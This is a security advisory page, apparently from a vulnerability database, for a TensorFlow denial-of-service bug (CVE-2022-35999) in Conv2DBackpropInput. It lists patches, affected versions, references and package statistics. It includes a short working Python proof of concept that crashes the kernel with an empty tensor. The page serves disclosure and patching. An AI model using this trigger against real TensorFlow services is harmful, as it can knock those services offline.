TensorFlow vulnerable to `CHECK` fail in `Conv2DBackpropInput`
Impact
When Conv2DBackpropInput receives empty out_backprop inputs (e.g. [3, 1, 0, 1]), the current CPU/GPU kernels CHECK fail (one with dnnl, the other with cudnn). This can be used to trigger a denial of service attack.
import tensorflow as tf
import numpy as np
input_sizes = [3, 1, 1, 2]
filter = np.ones([1, 3, 2, 3])
out_backprop = np.ones([3, 1, 0, 3])
strides = [1, 1, 2, 1]
padding = 'VALID'
tf.raw_ops.Conv2DBackpropInput(
input_sizes = input_sizes,
filter = filter,
out_backprop = out_backprop,
strides = strides,
padding = padding
)
Patches
We have patched the issue in GitHub commit 27a65a43cf763897fecfa5cdb5cc653fc5dd0346.
The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.
For more information
Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.
Attribution
This vulnerability has been reported by Jingyi Shi.
Affected software
Click a technology to see all vulnerabilities affecting it.
| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| Python (PyPI) | tensorflow | < 2.7.2, >= 2.8.0, < 2.8.1, >= 2.9.0, < 2.9.1 | 2.7.2, 2.8.1, 2.9.1 |
| Python (PyPI) | tensorflow-cpu | < 2.7.2, >= 2.8.0, < 2.8.1, >= 2.9.0, < 2.9.1 | 2.7.2, 2.8.1, 2.9.1 |
| Python (PyPI) | tensorflow-gpu | < 2.7.2, >= 2.8.0, < 2.8.1, >= 2.9.0, < 2.9.1 | 2.7.2, 2.8.1, 2.9.1 |
References
- https://github.com/tensorflow/tensorflow/security/advisories/GHSA-37jf-mjv6-xfqw
- https://nvd.nist.gov/vuln/detail/CVE-2022-35999
- https://github.com/tensorflow/tensorflow/commit/27a65a43cf763897fecfa5cdb5cc653fc5dd0346
- https://github.com/tensorflow/tensorflow
- https://github.com/tensorflow/tensorflow/releases/tag/v2.10.0
- https://pypi.org/project/tensorflow
- https://github.com/advisories/GHSA-37jf-mjv6-xfqw
- https://pypi.org/project/tensorflow-cpu
- https://pypi.org/project/tensorflow-gpu
- CVSS vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H- Weakness (CWE)
CWE-617- Platform
- Python (PyPI)
- Package
tensorflow, tensorflow-cpu, tensorflow-gpu- Disclosed
- 16.09.2022
- Updated
- 11.10.2026 14:17
Sources and licenses
OSV / GitHub Advisory Database - PYSEC-2026-3092 - PyPA Advisory Database; CC BY 4.0
OSV / GitHub Advisory Database - PYSEC-2026-3269 - PyPA Advisory Database; CC BY 4.0
OSV / GitHub Advisory Database - GHSA-37jf-mjv6-xfqw - CC BY 4.0
OSV / GitHub Advisory Database - PYSEC-2026-946 - PyPA Advisory Database; CC BY 4.0
Vulnerability history: tensorflow
All published vulnerabilities of this package (Python (PyPI)), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 433
- First → latest
- 04.2019 07.2024
- Without a fix
- 0
- Exploited in attacks
- 0
Severity breakdown
- Critical 6
- High 112
- Medium 210
- Low 105
Disclosures per year
- 2019: 7
- 2020: 35
- 2021: 200
- 2022: 169
- 2023: 21
- 2024: 1
- 2025: 0
- 2026: 0
-
TensorFlow vulnerable to `CHECK` fail in `Conv2DBackpropInput` this entry
Know which vulnerabilities affect your application
With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.